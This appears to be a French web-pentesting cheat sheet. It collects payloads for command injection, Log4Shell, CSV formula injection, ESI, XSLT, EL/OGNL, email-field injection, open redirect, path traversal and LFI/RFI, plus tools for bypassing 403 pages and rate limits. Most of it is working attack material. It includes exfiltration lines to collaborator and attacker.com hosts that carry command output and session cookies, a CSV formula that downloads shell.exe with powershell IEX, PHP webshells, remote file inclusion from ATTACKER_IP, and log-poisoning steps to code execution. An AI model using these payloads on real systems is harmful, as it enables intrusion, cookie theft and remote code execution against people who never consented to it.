||wget+https://your.burp.collab.com/||
...
```

### Time based

```bash
||sleep+10||
||ping+-c+10+127.0.0.1||
```

### Data exfiltration

```bash
||nslookup+`<command>`.your.burp.collab.com||
||curl+https://your.burp.collab.com/`<command>`||
...
```


# Log4Shell

## Cibles fréquentes

Vmware vCenter 7.0.x, vCenter 6.7.x & vCenter 6.5.x

## Points d'injection fréquents

```
X-API-Version:
User-Agent:
Referer:
Cookie:
Bearer:
CF-Connection_IP:
X-forward-for:
Originating-IP:
Authentication:
```

## Payloads

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Log4Shell.md>" %}


# CSV

## Description

L'injection CSV, également connue sous le nom d'injection de formule, se produit lorsque des sites Web intègrent des entrées non fiables dans des fichiers CSV entraînant entre autre à des injections de commandes sur le poste de la personne le téléchargeant.

## Exploitation

Pour exploiter cette vulnérabilité, voici les étapes à suivre:

1. Trouver une fonctionnalité permettant de télécharger un fichier csv.
2. Ouvrir le fichier téléchargé et relever les données présentes dedans
3. Trouver un champs modifiable par une entrée utilisateur étant reflété dans le fichier CSV
4. Entrer un payload d'injection CSV dans ce champs pour vérifier si la commande est exécuté lorsqu'on télécharge le fichier et qu'on accepte tous les avertissements de sécurité.

### Payloads

```
# pop une calculatrice
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0

# pop un bloc notes
=cmd|' /C notepad'!'A1'

# Execution de code powershell (ici pour dl un fichier distant)
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

# Telechargement de dll distante avec lolbin
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

# Obfuscation et enchainement de commandes
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
=         cmd|'/c calc.exe'!A

# Utilisation de rundll32 au lieu de cmd
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
```

## Ressource

<https://hackerone.com/reports/1748961>


# ESI

Edge Side Include

## Description

Le langage ESI est basé sur un ensemble de balises XML et est utilisé dans de nombreuses solutions de substitution HTTP populaires pour résoudre les problèmes de performances en permettant une mise en cache importante du contenu Web. Les balises ESI sont utilisées pour demander à un reverse proxy (ou à un serveur de mise en cache) de récupérer plus d'informations sur une page Web pour laquelle un modèle est déjà mis en cache. Ces informations peuvent provenir d'un autre serveur avant de les servir au client. Cela permet aux pages entièrement mises en cache d'inclure du contenu dynamique.

Les quatre fonctions principales de ESI sont :

* *inclusion* de fragments de pages ;
* *variables* pouvant provenir de cookies ou de headers HTTP, puis affichées ou utilisées dans des expressions ESI ;
* *conditions* pour que le balisage tire parti des variables (exemple : selon la valeur d'un cookie) ;
* *gestion d'erreur*, pour qu'un basculement puisse avoir lieu en cas de panne d'un serveur nominal.

Exemple d'utilisation:

```html
<body>
  <b>The Weather Website</b>
  Weather for <esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />
  Monday: <esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" />
  Tuesday: <esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" />
[…]
```

### Solutions acceptant les balises ESI (Quand elles sont activées)

* Varnish
* Squid Proxy
* IBM WebSphere
* Oracle Fusion/WebLogic
* Akamai
* Fastly, F5
* Node.js ESI
* LiteSpeed
* &#x20;​certains langages spécifiques plugins...

## Exploitation

### SSRF

Si un attaquant peut ajouter une balise d'inclusion ESI à la réponse HTTP, il peut effectivement effectuer des attaques SSRF dans le contexte du serveur de substitution (et non du serveur d'application).

```html
<esi:include src="https://attacker.com/ping" />
```

### Contournement de filtre anti-XSS côté serveur

les protections XSS de Chrome ne connaissent pas les balises ESI, car elles n'ont jamais été conçues pour être traitées côté client. Il est possible d'affecter des parties d'une charge utile XSS à des variables dans le moteur ESI, puis de les réimprimer. Le moteur ESI créera la charge utile Javascript malveillante côté serveur avant de l'envoyer intégralement au navigateur. Cela contournera le filtre XSS puisque l'entrée envoyée au serveur n'est pas renvoyée telle quelle au navigateur.

Exemples de charges utiles:

```html
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>
>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
"+onmou<!--esi-->seover=ale<!--esi-->rt(1)+ab="
```

### Contournement de flag HttpOnly

Contrairement au Javascript traité côté client, ESI est traité côté serveur (source vers destination), il est donc possible de capturer les cookies par ce biais avec une charge utile telle que:

```html
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```

### Création d'une page html

Le fragement `<esi:inline>` est une balise qui définit le contenu enregistré dans le cache. Le contenu sera ensuite disponible et associé au chemin défini dans le "name". Un attribut facultatif nommé "fetchable" définit si la ressource sera disponible pour un utilisateur externe (true) ou uniquement disponible pour ESI (false). Un nombre limité de fournisseurs prennent en charge `esi:inline`.

Apache Traffic Server, Squid et Varnish ne prennent pas en charge cette instruction, même si elle fait partie de la spécification ESI. Cependant, il est implémenté dans la solution de mise en cache comme dans Oracle Web Cache 11g.

Charge utile:

```markup
<esi:inline name="/attack.html" fetchable="yes">
<script>prompt(document.domain)</script>
</esi:inline>
```

### Fuite d'informations technique

Akamai possède une fonction debug permettant d'afficher les informations de debug dans la réponse.

```html
<esi:debug/>
```

## Implémentation de l'ESI par fabricant

<table><thead><tr><th>Fabricant</th><th>Include</th><th width="112">Vars</th><th>Cookies</th><th>En-têtes en amont</th><th>Host whitelist</th></tr></thead><tbody><tr><td>Squid3</td><td><span data-gb-custom-inline data-tag="emoji" data-code="2705">✅</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="2705">✅</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="2705">✅</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="2705">✅</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="274c">❌</span></td></tr><tr><td>Varnish cache</td><td><span data-gb-custom-inline data-tag="emoji" data-code="2705">✅</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="274c">❌</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="274c">❌</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="2705">✅</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="2705">✅</span></td></tr><tr><td>Fastly</td><td><span data-gb-custom-inline data-tag="emoji" data-code="2705">✅</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="274c">❌</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="274c">❌</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="274c">❌</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="2705">✅</span></td></tr><tr><td>Akamai ESI</td><td><span data-gb-custom-inline data-tag="emoji" data-code="2705">✅</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="2705">✅</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="2705">✅</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="274c">❌</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="274c">❌</span></td></tr><tr><td>Nodejs' esi</td><td><span data-gb-custom-inline data-tag="emoji" data-code="2705">✅</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="2705">✅</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="2705">✅</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="274c">❌</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="274c">❌</span></td></tr><tr><td>Nodejs' nodesi</td><td><span data-gb-custom-inline data-tag="emoji" data-code="2705">✅</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="274c">❌</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="274c">❌</span></td><td><span data-gb-custom-inline data-tag="emoji" data-code="274c">❌</span></td><td>Optionnel</td></tr></tbody></table>


# XSLT

XSLT (Extensible Stylesheet Language Transformations) est un langage permettant de transformer des documents XML en d'autres documents XML, ou d'autres formats tels que HTML pour les pages Web, texte brut. Lorsque le contenu XSLT est contrôlable par l'utilisateur, diverses attaques sont possibles

## Recon

<pre class="language-xml"><code class="lang-xml"><strong>&#x3C;xsl:value-of select="system-property('xsl:version')" />
</strong><strong>&#x3C;xsl:value-of select="system-property('xsl:vendor')" />
</strong><strong>&#x3C;xsl:value-of select="system-property('xsl:vendor-url')" />
</strong></code></pre>

## XSS

```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<script>alert(document.cookie)</script>
</xsl:template>
</xsl:stylesheet>
```

## PHP RCE

```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('passthru','ls -la /')"/>
</xsl:template>
</xsl:stylesheet>
```

## SSRF

```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
```

## LFI

```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
```


# Injections dans emails

## XSS

```
test+(<script>alert(document.domain)</script>)@mail.xyz
test@mail(<script>alert(document.domain)</script>).xyz
"<script>alert(document.domain)</script>"@mail.xyz
"hello<form/><!><details/open/ontoggle=alert(1)>"@mail.xyz
["');alert('XSS');//"]@mail.xyz
```

## SQLi

```
"'OR 1=1--'"@mail.xyz
```

## SSTI

```
"<%=7*7 %>"@mail.xyz
test+(${{7*7}})@mail.xyz
test+${{7*7}}@mail.xyz
```

## SSRF

```
test@mail.xyz.burpcollab.net
test@[127.0.0.1]
```

## Header injection

```
"%0D%0AContent-Length:%200%0D%0A%OD%0A"@mail.xyz
"test@mail.xyz>\r\nRCPT TO:<victim+"@mail.xyz
```

## Autres

```
<attacker@evil.com>toto@victim.com
username+${7*7}{{7*7}}`id`|'or''='mail.xyz
```


# ELi

Expression Language injection

## Description

Les Expressions Languages (EL) permettent de manipuler les données au sein d'une page JSP (ou d'un fichier \*.tag) plus simplement qu'avec les scriptlets Java.

Une EL permet d'accéder simplement aux beans des différents scopes de l'application web (page, request, session et application). Utilisé conjointement avec des librairies de tags, elles permettent de se passer totalement des scriptlets.

Une expression EL est de la forme suivante :

```
${ expression }
```

La chaîne expression correspond à l'expression à interpréter. Une expression peut être composée de plusieurs termes séparés par des opérateurs.

## Reconnaissance

### Remplacement de caractères

```
test${“str”.toString().replace(“s”, “x”)}ing #doit renvoyer "textring" 
```

### En aveugle

```
#Sleep 10 secondes
https://target.com/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```

### RFI

```
https://target.com/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.REPLACE[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&REPLACE=%2fetc%2fpasswd
```

### Directory listing

```
https://target.com/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.REPLACE[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&REPLACE=..
```

## RCE

### SpEL eval tag

```java
T(java.lang.Runtime).getRuntime().exec(“[COMMAND HERE]”)
```

### SpEL message tag

```java
${java.lang.Runtime.getCurrentRuntime().exec("[COMMAND HERE")}
```

### Autres charges utiles

```java
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Execution de commandes via processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}

// Execution de commandes via Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Executions de commmande via ScriptEngineManager
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

// https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
```

## Technos spécifiques


# OGNLi

Open-Graph Navigation Language injection

## Description

Object-Graph Navigation Language (OGNL) est un langage d’expression open source pour Java. La fonction principale d’OGNL est d’obtenir et de définir des propriétés d’objet : « La plupart de ce que vous pouvez faire en Java est possible dans OGNL. »

Les expressions OGNL sont évaluées en utilisant des séquences `%{code}` et `${code}`

Ressource: <https://commons.apache.org/dormant/commons-ognl/language-guide.html>

## Reconnaissance

```
%{7*7} #doit renvoyer 49
${7*7} #doit renvoyer 49
```

## Ressources

{% embed url="<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/>" %}

{% embed url="<https://github.com/hev0x/CVE-2022-26134>" %}

{% embed url="<https://github.com/hev0x/CVE-2021-26084_Confluence>" %}


# Open redirect

Outils dédiés aux open redirect

## Outils

### Dom-red

Dom-red est un outil permettant de tester les failles open redirect.

Exemple d'utilisation:

*`$ python dom-red.py -d <liste de domaines> -p <liste de payloads>`*

ressource: <https://github.com/Naategh/dom-red>

### Open2Phish

Open2Pish est un outil de génération de wordlists de payloads d'open redirect et SSRF.

Exemple d'utilisation:

*`$ python3 open2phish.py -t target.com -d attacker.com`*

ressource: <https://github.com/mathis2001/Open2Phish>

### Intigriti redirector

Outil de génération de wordlist en ligne: <https://tools.intigriti.io/redirector/>

## Les types d'open redirect

### Header based

Les open redirect basés sur en-tête utilise le header "Location:" dans la réponse HTTP pour rediriger l'utilisateur. Il s'agit donc d'une vulnérabilité côté serveur.

### Javascript based

Les open redirect basés sur du javascript executent du code javascript dans le navigateur pour rediriger un utilisateur. Il s'agit donc d'une vulnérabilité côté client.&#x20;

## Detection

Le meilleur moyen de trouver des open redirect est de chercher des paramètres donc l'url est reflété soit dans un header Locaation dans la réponse, soit dans du code javascript.

#### Google dorks pour chercher des paramètres de redirection

```
inurl:%3Dhttp site:example.com
inurl:%3D%2F site:example.com

inurl:redir site:example.com
inurl:redirect site:example.com
inurl:redirecturi site:example.com
inurl:redirect_uri site:example.com
inurl:redirecturl site:example.com
inurl:redirect_url site:example.com
inurl:return site:example.com
inurl:returnurl site:example.com
inurl:relaystate site:example.com
inurl:forward site:example.com
inurl:forwardurl site:example.com
inurl:forward_url site:example.com
inurl:url site:example.com
inurl:uri site:example.com
inurl:dest site:example.com
inurl:destination site:example.com
inurl:next site:example.com
```

### Exploitation

#### Basé sur des paramètres

?redirect=<http://hacker.com>

?redirect=hacker.com

?redirect=.hacker.com

?<http://hacker.com>

...

#### Basé sur un en-tête referer

Créer une page comme celle ci-dessous sur le serveur attaquant puis pointer les en-têtes referer sur l'url du serveur.

<pre class="language-html"><code class="lang-html">&#x3C;html>
<strong>    &#x3C;a href="https://example.com/login">Click on this link!&#x3C;/a>
</strong>&#x3C;/html>
</code></pre>

## SSRF via open redirect

Exemple:

stockApi=<https://target.com/liens?redirect=https://127.0.0.1/admin>

## Open redirect to XSS  (javascript based)

```
javascript:alert(1)
javascript://%0aalert(1)
javascript://%0dalert(1)
ja\nva\tscript\r:alert(1)//?
jav\nascri\npt://evil.com%0Aalert(document.cookie);alert(document.domain);
javascrip%0at%0a:alert(document.cookie)//
http: javascript: alert(document.domain);
%09Jav%09ascript:alert(1)
javascript://%250Alert(1)
/%09/javascript:alert(1);
//%5cjavascript:alert(1);
//j%5c%5cjavascript%3aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
\j\av\a\s\cr\i\pt:\a\l\ert(1)
javascript:top[/al/.source+/ert/.source](1)
%26%2302java%26%23115script:alert(1)
j&#97v&#97script&#x3A;&#97lert(1)
j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt:alert&lpar;1&lpar;
javascript%3Atop%5B%27ale%27%2B%27rt%27%5D%28top%5B%27doc%27%2B%27ument%27%5D%5B%27dom%27%2B%27ain%27%5D%29%3B%2F%2F
%0Ajavascript%3Ato%0Ap%5B%27ale%27%2B%27rt%27%5D%28top%5B%27doc%27%2B%27ument%27%5D%5B%27dom%27%2B%27ain%27%5D%29%3B%0A/%0A/%0A
javascript%3Aalert%2F**%2F(document.domain)
javascript:var{a:onerror}={a:alert};throw%20document.domain
```

## Open redirect => CRLF => XSS (Header based)

{% content-ref url="/pages/FtI8RJ7hhzVJtWVcTVsa" %}
[CRLF](/pentest-web/injections/crlf)
{% endcontent-ref %}

## Bypass de filtre

{% embed url="<https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet>" %}

Essayer d'utiliser un nom de domaine du type target.com.attacker.com si la cible semble utiliser une regex acceptant uniquement les urls qui commencent avec son nom de domaine.

Autres exemples:

```
https://attacker.com/exemple.com
https://exemple.com.attacker.com/exemple.com
https://exemple.com@attacker.com/exemple.com
```

#### Bypass par autocorrection du navigateur

```
https:attacker.com
https;attacker.com
https:\/\/attacker.com
https:/\/\attacker.com
https:\\example.com
https://attacker.com\@example.com
//attacker,com
```

#### Avec le schéma data

```
data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbj0iaHR0cHM6Ly9hdHRhY2tlci5jb20iPC9zY3JpcHQ+
```

#### Via encoding

Exemples:

```
https://example.com%2f@attacker.com
https://example.com%252f@attacker.com
https://example.com%25252f@attacker.com
https://attacker.com%252f@example.com
```

#### Avec des caractères non-ASCII

```
https://attacker.com%ff.example.com
https://attacker.com?.example.com
https://attacker%e3%80%82com
https://attacker。com
https://attacker%02com
%2f%2fattacker%25e3%2580%2582com
```

ressource: <https://jlajara.gitlab.io/Bypass_WAF_Unicode>


# Path Traversal / LFI / RFI

Outils dédiés aux path traversals et local file inclusion

## Liffy

Liffy est un outil d'exploitation de vulnérabilités de type LFI complet allant de l'utilisation des wrappers PHP à l'exploitation de log poisoning.

ressource: <https://github.com/mzfr/liffy>

## LFISuite

LFI Suite est un outil totalement automatique capable d'analyser et d'exploiter les vulnérabilités d'inclusion de fichiers locaux en utilisant de nombreuses méthodes d'attaque différentes.

ressource: <https://github.com/D35m0nd142/LFISuite>

## LighTraversal

LighTraversal est un outil permettant de vérifier si il existe une vulnérabilité de path traversal dans une (liste d') url.

ressource: <https://github.com/mathis2001/LighTraversal>

## Manuel

```
Encoding:

sans    simple    double

:        3A        %253A

/        2F        %252F

.        2E        %252E

-        2D        %252D     

=        3D        %253D


Exemples

/etc/passwd
../../../etc/passwd
....//....//....//etc//passwd
..///////..///////..///////etc///////passwd
..%5c..%5c..%5cetc%5cpasswd
.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./etc/passwd
..%253f..%253f..%253fetc%253fpasswd
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
/var/www/images/../../../etc/passwd
```

### Null byte (%00)

Les anciennes versions de PHP sont vulnérable au Null byte permettant de ne pas prendre en compte tout ce qui est derrière celui-ci dans l'url.

Exemple pour une LFI:

On a un site qui ajoute des extensions automatiquement sur chaque uri

/target.com/index.php?page=../../../etc/passwd

devient

/target.com/index.php?page=../../../etc/passwd.php

ce qui donnera une erreur car passwd.php n'existe pas.

alors qu'avec le null byte,

/target.com/index.php?page=../../../etc/passwd%00

deviendra

/target.com/index.php?page=../../../etc/passwd%00.php

Ici ".php" ne sera pas pris en compte et le fichier passwd sera bien affiché.

### Wrapper

il existe aussi avec php plusieurs wrappers permettant dans certains cas de soutirer des informations à une page tel que sont code source par exemple mais on peut aussi s'en servir pour uploads des fichiers et obtenir des RCE.

Voici quelques exemples de wrappers utilisés par PHP:

```bash
//Wrapper php filter
/target.com/index.php?page=php://filter/read=string.rot13/resource=index.php
/target.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
/target.com/index.php?page=php://Filter/convert.base64-encode/resource=index.php

//Wrapper data
data://text/plain,<?php info();?>
data://text/plain;base64,<payloadbase64>

//Wrapper expect
expect://id
expect://ls

//Wrapper zip
zip://shell.jpg%23payload.php

//Wrapper input
php://input
exemple:
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"

...
```

## RCE via LFI + Log Poisoning

{% hint style="warning" %}
Prérequis: Avoir un paramètre vulnérable aux inclusions de fichiers locaux
{% endhint %}

1. Essayez d'accéder à des fichiers de logs.

ressource: <https://github.com/mathis2001/Wordlists/tree/main/LFI/LogFiles>

&#x20;     1.1. Si cela fonctionne, essayez d'injecter un payload via un paramètre ou un header logé&#x20;

&#x20;      exemple: User-agent: \<?php system($\_GET\["cmd"]); ?> ou dans l'url, ?param=\<?php      system($\_GET\["cmd"]); ?>

&#x20; 2\. Scanner les ports de la machine à la recherche de service FTP, SSH, SMTP ou MySQL (+ version si possible pour connaitre potentiellement le nom du fichier de log et son emplacement).

&#x20;      2.1. Essayez d'accéder au fichier qui log les interactions avec ces services.

&#x20;      2.2. Si il y en a un d'accessible, essayer d'entrer votre payload en temps que nom d'utilisateur à la connexion.

&#x20;      2.3. Accédez au fichier de log et exécutez votre payload

Exemple pour un fichier **/var/log/vsftpd.log**.

```
$ ftp <target IP>
Connected to ...
220 (vsFTPd X.X.X)
Username: <?php system($_GET["cmd"]); ?>
...
Password: blabla
530 Login incorrect
Login Failed.

#Dans l'url
https://target.com/exemple.php?page=/var/log/vsftpd.log&cmd=id
```

## Quelques tips

vérifier: file:|pwd

vérifier un possible contournement de filtre avec des ?:

le trick ici de de faire en sorte que le seul match possible est celui auquel vous pensez?

Par exemple, vous ne pouvez pas appeler /tmp avec /??? car il y a /etc qui contient le même nombre de caractères.

Par contre si vous entrez ceci,

* /e??
* /?t?
* /??c

le seul répertoire possible cera /etc.

&#x20;Plutôt que bin/cat etc/passwd il est possible d'utiliser:

/???/??t%20/???/???s?d

### LFI sur serveur Windows

/../../c:/windows/system32/drivers/etc/hosts

C:%5Cwindows%5CSystem32%5Cinetsrv%5Cconfig%5CapplicationHost.config

#### Chemin relatif a partir du repertoire courant (cwd) du drive C

C:path\to\file.txt

Si file:///etc/passwd est bloqué dans l'url, essayer d'utiliser la fonctionnalité view-source du navigateur (view-source:file:///etc/passwd)

### Nginx

```
https://target.com///////../../../etc/passwd
```

### Ruby on rails / Django / NodeJs dans header Accept:

```
../../../../../../../../../../etc/passwd{{
../../../../../../../../../../etc/passwd{%0D
../../../../../../../../../../etc/passwd{%0A
../../../../../../../../../../etc/passwd{%00
../../../../../../../../../../etc/passwd{%0D{{
../../../../../../../../../../etc/passwd{%0A{{
../../../../../../../../../../etc/passwd{%00{{
```

## NodeJS filter bypass

```
https://target.com/blabla/ＮＮ/secret
```

<https://www.compart.com/fr/unicode/U+FF2E>

## RFI

Exemples avec le webshell shell.php = \<?php system($\_GET\["cmd"]); ?>&#x20;

### HTTP

Exemple de RFI via protocole HTTP

```
#Création du serveur HTTP
$ python3 -m http.server <LISTENING_PORT>

#Dans l'url du site
https://target.com/exemple.php?page=http://attacker.com:<port>/shell.php&cmd=id
```

### FTP

Exemple de RFI via protocole FTP

```
#Création du serveur FTP
$ python -m pyftpdlib -p 21

#Dans l'url du site
https://target.com/exemple.php?page=ftp://attacker.com/shell.php&cmd=id
```

### SMB

Exemple de RFI via protocole SMB

```
#Création du serveur SMB
$ impacket-smbserver -smb2support share $(pwd)

#Dans l'url du site
https://target.com/exemple.php?page=//<ATTACKER_IP>/shell.php&cmd=id
```

## Trouver des paramètres

*`$ waybackurls target.com | gf lfi | tee -a lfi.txt`*


# Bypass

Outils dédiés aux bypass en tout genre

## Sites:

* <https://insolitum.github.io/character_encoder/>: Ajouter des caractères ASCII random à la chaîne de caractères donnée.

## Dontgo403

Dontgo403 est un outil permettant de tenter de contourner les accès restreints sur les pages web via différentes techniques.

Exemple d'utilisation:

*`$ ./dontgo403 -u https://target.com/private`*

ressource: <https://github.com/devploit/dontgo403>

## Byp4xx

Byp4xx est un outil permettant de tenter de contourner les accès restreints sur les pages web via différentes techniques (verb tampering, headers, custom user agents, tips de bug bounty).

Exemple d'utilisation:

*`$ ./byp4xx.py https://target.com/private`*

ressource: <https://github.com/lobuhi/byp4xx>

## 403-bypass

403-bypass est un outil ayant la même utilité que byp4xx

Exemple d'utilisation:

*`$ python3 403-bypass.py -u https://target.com -p private`*

ressource: <https://github.com/channyein1337/403-bypass>

## ​Bypass-url-parser

Bypass-url-parser est un outil permettant de tenter de contourner les restrictions via manipulation de l'url.

Exemple d'utilisation:

*`$ ./bypass-url-parser.py -u https://target.com/secret`*

ressource: <https://github.com/laluka/bypass-url-parser>

## Recollapse

REcollapse est un outil d'aide au fuzzing des regex en boîte noire pour contourner les validations et découvrir les normalisations dans les applications Web.

Exemple d'utilisation:

*`$ recollapse https://target.com/secret`*

ressource: <https://github.com/0xacb/recollapse>

## hakoriginfinder

Outil pour découvrir l'hôte d'origine derrière un proxy inverse. Utile pour contourner les WAF cloud.

Exemple d'utilisation:

*`$ prips <IP range>/24 | hakoriginfinder -h target.com`*

ressource: <https://github.com/hakluke/hakoriginfinder>

## Jwt\_tool

Jwt\_tool est un outil permettant vérifier, scanner et falsifier des Json Web Token à la recherche de failles connues.

Exemple d'utilisation:

*`$ python3 jwt_tool.py <JWT>`*

ressource: <https://github.com/ticarpi/jwt_tool>

## JSON Web Token Burp Suite extension

Il existe une extension dans burp suite permettant de manipuler les JWT.

ressource: <https://github.com/portswigger/json-web-tokens>

## TIPS

Si un fichier est protégé, essayer de le fuzz avec des extensions de backup.

```
backup
bck
old
save
bak
sav
~
copy
old
orig
tmp
txt
back
```

### Rate limit Bypass

#### Headers Bypass

Juste en dessous du header "Host:", utiliser l'un (ou parfois plusieurs) de ces headers:

1. X-Forwarded-For : IP
2. X-Forwarded-Host : IP
3. X-Client-IP : IP
4. X-Remote-IP : IP
5. X-Remote-Addr : IP
6. X-Host : IP

#### Avec des caractères

1. L'ajout d'un octet nul (%00) à la fin d'un e-mail peut parfois contourner la limite de débit.
2. Essayez d'ajouter un espace après un e-mail. ( Non codé )
3. Quelques caractères communs qui aident à contourner la limite de débit : %0d , %2e , %09 , %20 ...

#### Avec une redirection

Si une page incorrecte redirige vers la page testé, changer le Host Header peu parfois permettre de contourner un rate limit.

### Email verification bypass

* Créer un compte avec un email
* un lien de vérification sera envoyé
* ne pas le suivre et changer l'email par celui d'une victime
* Suivre le lien envoyé par mail
* Si l'email de la victime est vérifié au lieu du votre alors il y a usurpation

### Simple Bypass

Lorsqu'on a plusieurs étapes par exemple comme c'est le cas lors d'un achat en ligne, tenter de passer une étape.

Exemple:

/step/shipping/

~~/step/payment/~~

